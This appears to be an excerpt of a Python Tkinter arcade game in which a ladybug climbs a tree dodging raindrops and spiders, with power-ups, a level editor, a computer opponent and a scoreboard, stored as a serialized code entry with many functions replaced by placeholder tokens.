image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\n<function token>\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n 